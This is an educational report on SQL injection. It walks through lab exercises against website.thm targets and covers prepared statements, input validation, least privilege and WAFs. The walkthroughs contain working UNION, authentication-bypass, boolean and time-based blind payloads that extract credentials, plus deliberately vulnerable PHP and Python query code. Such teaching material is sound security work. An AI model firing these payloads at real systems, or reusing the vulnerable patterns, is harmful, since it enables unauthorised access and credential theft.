

SQL INJECTION

A Comprehensive Security Research Report

Covering Concepts, Attack Techniques & Defences

Prepared by: Security Research Team

Date: June 2026

Classification: Educational / Penetration Testing Reference

1. Introduction

SQL Injection (SQLi) is one of the most critical and long-standing vulnerabilities in web application security. It occurs when a web application incorporates user-supplied input directly into a SQL query without proper sanitisation or parameterisation. Instead of treating user input as data, the application treats it as SQL code, allowing an attacker to alter the query's logic and interact with the underlying database in ways the developer never intended.

This report provides a comprehensive walkthrough of how SQL injection works, the different types that exist, how they are detected and exploited, and most importantly, how they are defended against.

2. How Web Applications Use SQL

Modern web applications rely heavily on databases to serve dynamic content. Consider a blog platform: when you visit a URL such as:

```
https://website.thm/article?id=1
```

The web server extracts the value 1 from the URL and embeds it directly into a SQL query:

```
SELECT * FROM articles WHERE id = 1 AND public = 1;
```

The database returns the matching article and the page renders it for the visitor. This is the standard data-driven pattern — user input is passed to a SQL query, and results are returned.

2.1 Where the Vulnerability Lives

The problem emerges when the server-side code builds the query by concatenating user input directly into a string, for example in PHP:

```
$query = "SELECT * FROM articles WHERE id = " . $_GET['id'] . " AND public = 1;";
```

Whatever is placed in the id URL parameter becomes part of the SQL query. If an attacker changes the URL to:

```
?id=1 OR 1=1--
```

The resulting query becomes:

```
SELECT * FROM articles WHERE id = 1 OR 1=1-- AND public = 1;
```

The **OR 1=1** makes the **WHERE** clause always true, and **--** comments out the **AND public = 1** check. The database returns every row — including private articles.

3. Key SQL Concepts Relevant to Injection

3.1 SQL Comments

Comments instruct the database to ignore everything that follows on the line. In MySQL:

- **--** (double dash + space): single-line comment
- **#**: single-line comment
- **/* */**: multi-line comment

Comments are critical for injection because injecting into the middle of an existing query often leaves leftover syntax that would cause errors. A comment allows the attacker to cleanly cut off the rest of the original query. Example:

```
SELECT * FROM users WHERE username='INPUT' AND password='secret';
```

Injecting **admin'--** as the username produces:

```
SELECT * FROM users WHERE username='admin'-- AND password='secret';
```

The password check is now ignored entirely.

3.2 UNION Operator

The **UNION** operator combines the results of two or more **SELECT** statements into a single result set. The critical rule: **both SELECT statements must return the same number of columns**, with compatible data types.

```
SELECT name, age FROM students UNION SELECT username, id FROM admins;
```

Attackers use **UNION** to append their own **SELECT** statement to a legitimate query, pulling data from completely different tables. This is the foundation of Union-Based SQL Injection.

3.3 LIKE and Wildcards

The **LIKE** operator performs pattern matching. The **%** wildcard matches any sequence of characters, and **_** matches exactly one character.

```
SELECT * FROM users WHERE username LIKE 'adm%';
```

This returns any username starting with 'adm'. In Blind SQL Injection, attackers use **LIKE** with wildcards to enumerate data one character at a time — testing **LIKE 'a%'**, **LIKE 'b%'**, and so on until a match is found.

3.4 String Functions

Two functions are especially useful when extracting data through injection:

- **group_concat()**: Aggregates values from multiple rows into a single comma-separated string. Instead of row-by-row results, you get everything at once:

```
SELECT group_concat(username, ':', password SEPARATOR '<br>') FROM users; --  
Returns: admin:pass123<br>martin:secret<br>jim:work456
```

- **CONCAT()**: Joins individual values together. **CONCAT(username, ':', password)** produces **admin:pass123** for a single row.

3.5 information_schema

MySQL's **information_schema** is a built-in metadata database that catalogs every other database, table, and column on the server. Attackers query it to map out the database structure:

```
SELECT table_name FROM information_schema.tables WHERE table_schema = 'mydb';  
SELECT column_name FROM information_schema.columns WHERE table_name = 'users';
```

4. Three Types of SQL Injection

SQL Injection techniques are categorised based on how the attacker receives feedback from the database:

Category	Subtype	Description
In-Band	Error-Based	Database returns error messages revealing its structure
In-Band	Union-Based	Attacker uses UNION to append a second query and extract data through page output
Blind	Authentication Bypass	Login succeeds or fails based on the injected query
Blind	Boolean-Based	Application response changes based on whether a condition is true or false
Blind	Time-Based	Attacker uses SLEEP() to introduce a delay and infers true/false from response timing
Out-of-Band	DNS/HTTP Exfil	Database makes an external network request (e.g., DNS lookup) to exfiltrate data through a separate channel

4.1 In-Band SQL Injection

In-Band is the most straightforward type — the results of the injection are returned directly in the web application's response.

- **Error-Based:** The application exposes database error messages that reveal information about the schema, table names, and data types.
- **Union-Based:** The attacker appends a UNION SELECT statement to pull data from other tables, which then appears in the normal page output.

4.2 Blind SQL Injection

Blind SQLi is used when the application does not display query results or error messages. The attacker infers information from indirect signals.

- **Authentication Bypass:** The application only shows success or failure of a login, but the injected query can force a successful login regardless of credentials.
- **Boolean-Based:** The page renders differently (different content, different number of results) depending on whether an injected condition is true or false.
- **Time-Based:** The application response is identical whether true or false, but the attacker introduces a SLEEP() delay. A slow response means true; instant means false.

4.3 Out-of-Band SQL Injection

Out-of-Band SQLi causes the database server to make an external network request (such as a DNS lookup) that carries extracted data through a separate communication channel. This is used when neither in-band nor blind techniques are viable — for example, when the application returns no output at all.

5. Detecting SQL Injection

Before exploitation, a penetration tester must identify injection points. Common locations include URL parameters, form fields (login, search, comment boxes), cookies, and HTTP headers.

The simplest detection method is to inject test characters and observe the response:

- `'` (single quote): If the application returns a database error, the input is likely being inserted into a SQL query without proper handling.
- `"` (double quote): Some queries use double quotes instead of single quotes.
- `;` or `--`: If the application behaves differently (returns different content), the comment syntax is being processed.
- `OR 1=1`: If it changes the results, the input is directly in the query's logic.

Not every test will produce a visible error. If the application suppresses errors, you may need to rely on behavioural differences (Boolean-Based) or timing delays (Time-Based) to confirm injection.

6. Exploitation Walkthroughs

6.1 Level 1: Union-Based SQLi (In-Band)

Target: A blog at <https://website.thm/article?id=1>. The underlying query is:

```
select * from article where id = [INPUT]
```

Step 1: Find the column count

Change the id value in the URL and try different column counts with UNION SELECT:

```
1 UNION SELECT 1          -- Error: wrong number of columns 1 UNION SELECT 1,2
-- Still an error 1 UNION SELECT 1,2,3      -- No error: article table has 3
columns
```

Step 2: Make your UNION output visible

Set the article ID to 0 so the original query returns nothing, leaving only the injected row:

```
0 UNION SELECT 1,2,3
```

The values 1, 2, and 3 appear on the page. Column 3 (content area) is the extraction channel.

Step 3: Get the database name

```
0 UNION SELECT 1,2,database()
```

The `database()` function returns the current database name. Result: `sql_i_one`

Step 4: List tables

```
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables
WHERE table_schema = 'sql_i_one'
```

Result includes the table `staff_users`.

Step 5: List columns in the target table

```
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns
WHERE table_name = 'staff_users'
```

Columns revealed: `id`, `username`, `password`.

Step 6: Extract credentials

```
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM
staff_users
```

All usernames and passwords appear in the page's content area.

6.2 Level 2: Authentication Bypass (Blind)

Target: A login form at <https://website.thm/login>. The underlying query is:

```
select * from users where username='' and password='' LIMIT 1;
```

The app checks whether the query returns any row — if it does, login succeeds. The data itself is never shown, making this Blind SQLi.

Payload: Enter ' OR 1=1;-- in the Username field. The server builds:

```
select * from users where username='' OR 1=1;--' and password='anything' LIMIT 1;
```

Breaking this down:

- `username=''` does not match any user
- `OR 1=1` is always true, so the entire WHERE clause evaluates to true
- `;--` ends the statement and comments out the password check
- The database returns every row. The app logs you in as the first user

6.3 Level 3: Boolean-Based Blind SQLi

Target: A checkuser API at <https://website.thm/checkuser?username=admin>. The only feedback is `{"taken":true}` or `{"taken":false}`. The underlying query is:

```
select * from users where username = '%username%' LIMIT 1;
```

Step 1: Confirm injection

```
admin123' UNION SELECT 1,2,3 where database() like '%';--
```

The `%` wildcard matches anything, so this condition is always true. Response: `{"taken":true}`. Injection confirmed.

Step 2: Get the database name, letter by letter

```
admin123' UNION SELECT 1,2,3 where database() like 'a%';-- -- {taken:false}
admin123' UNION SELECT 1,2,3 where database() like 's%';-- -- {taken:true} -
- first letter is 's'
```

Continue narrowing: `sqla%` (false), `sqli%` (true), `sqli_%` (true), `sqli_t%` (false)... arriving at the full name: `sqli_three`.

Steps 3–7: Enumerate tables, columns, extract credentials

Using the same LIKE-based enumeration against `information_schema.tables` and `information_schema.columns`, then against the `users` table directly:

```
admin123' UNION SELECT 1,2,3 from users where username like 'a%';--
```

Build up character by character: `ad%`, `adm%`, `admi%`, `admin` (true with no wildcard). Username is `admin`. Repeat for password: `3%`, `38%`, `384%`, `3845` — password is `3845`.

6.4 Level 4: Time-Based Blind SQLi

Similar to Level 3, but the injection point is the Referrer HTTP header, and the response looks completely identical whether a condition is true or false. The only signal is whether the response takes longer to arrive.

Step 1: Find the column count

```
admin123' UNION SELECT SLEEP(5);-- -- Response is immediate: wrong
columns admin123' UNION SELECT SLEEP(5),2;-- -- 5-second pause: 2
columns confirmed
```

The `SLEEP()` only runs when the UNION column count is correct, so the delay itself confirms both the injection and the column count.

Step 2: Get the database name

```
admin123' UNION SELECT SLEEP(5),2 where database() like 's%';--      -- 5-sec
delay admin123' UNION SELECT SLEEP(5),2 where database() like 'sq%';--      -- 5-
sec delay
```

Continue: `sqli%`, `sqli_%`, `sqli_f%`, `sqli_fo%`, `sqli_fou%`, `sqli_four` (delay, no wildcard) — database name confirmed as `sqli_four`.

Step 3: Enumerate tables and columns

Query `information_schema.tables` and `information_schema.columns` using `SLEEP()` conditions. A delay means character matches; immediate means it does not.

Step 4: Extract the admin password

```
admin123' UNION SELECT SLEEP(3),2 from users where username='admin' and
password like '4%';--
```

3-second delay: first character is **4**. Continue: `49%`, `496%`, `4961` (delay, no wildcard). Password: **4961**.

7. Defences Against SQL Injection

When writing up a SQLi finding for a client, explaining the fix is as important as demonstrating the bug. Here are the main defences, roughly in order of effectiveness:

7.1 Prepared Statements (Parameterised Queries)

Prepared statements are the primary defence. They separate SQL code from data. The developer writes the query structure with placeholders for user input, and the database receives the input separately, treating it as data only — never as executable SQL.

Vulnerable PHP code:

```
$query = "SELECT * FROM users WHERE username='" . $_POST['username'] . "'";
$result = mysqli_query($conn, $query);
```

Fixed with prepared statements (PDO):

```
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['username']]);
$result = $stmt->fetchAll();
```

The `?` is a placeholder. Whatever the user enters — even `' OR 1=1--` — the database treats the whole thing as a literal string. It never touches the query structure.

Vulnerable Python code:

```
query = f"SELECT * FROM users WHERE username='{username}'"  
cursor.execute(query)
```

Fixed:

```
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
```

The `%s` is a parameter placeholder. The MySQL connector handles escaping and binding automatically. Every language and framework supports this pattern.

7.2 Input Validation

Input validation controls what the application accepts before anything reaches the database. The best approach is allowlisting: define exactly what is valid and reject everything else.

If a parameter should be a numeric article ID, enforce it:

```
if (!ctype_digit($_GET['id'])) { die("Invalid input"); }
```

Never rely on validation alone — use it alongside prepared statements. Blocklisting (trying to filter out characters like `'` or `--`) is brittle. Attackers will find ways around your filter through double encoding, alternate syntax, or techniques you have not thought of.

7.3 Escaping User Input

Escaping means putting a backslash before special characters so the database treats them as literals instead of syntax. `'` becomes `\'`.

This can stop basic injection, but it is fragile and database-specific. Every engine has different special characters and escaping rules. Use it as a last resort — for example, when dealing with legacy code that cannot be refactored to use prepared statements.

7.4 Principle of Least Privilege

Even with good input handling, defence-in-depth means limiting the blast radius. The database account the web application uses should have only the permissions it actually needs:

- Read-only application? The account gets `SELECT` privileges and nothing else.
- Never connect to the database as `root` or `sa` from the application.
- Lock down access to sensitive tables so only the procedures that need them can reach them.

If someone exploits SQL injection through a low-privilege account, they cannot `DROP` tables, access other databases, or run system commands.

7.5 Web Application Firewalls (WAFs)

A WAF inspects incoming requests and blocks known attack patterns: `' OR 1=1`, `UNION SELECT`, `information_schema`, and similar.

WAFs are not a substitute for writing secure code. Experienced attackers bypass them through encoding tricks, alternative syntax, and obfuscation. Treat a WAF as an additional layer of defence, not the primary defence.

8. Summary

Topic	Key Takeaway
Root Cause	User input concatenated directly into SQL queries without sanitisation
In-Band SQLi	Results appear in the page response; easiest to exploit (Error-Based, Union-Based)
Blind SQLi	No direct output; infer data via Boolean changes or SLEEP() timing
Out-of-Band SQLi	Database exfiltrates data over external channel (DNS, HTTP); used when other methods fail
Detection	Inject test characters (' , --, OR 1=1) and observe errors, behaviour changes, or delays
Primary Fix	Parameterised queries / prepared statements — separate SQL structure from data
Secondary Defences	Input validation (allowlisting), least privilege DB accounts, WAFs as extra layer

SQL Injection remains one of the OWASP Top 10 vulnerabilities year after year because the root cause — unsanitised input concatenated into queries — is still found in production code. Understanding it deeply, both how to find it and how to fix it, is a fundamental skill for any security professional or developer.

End of Report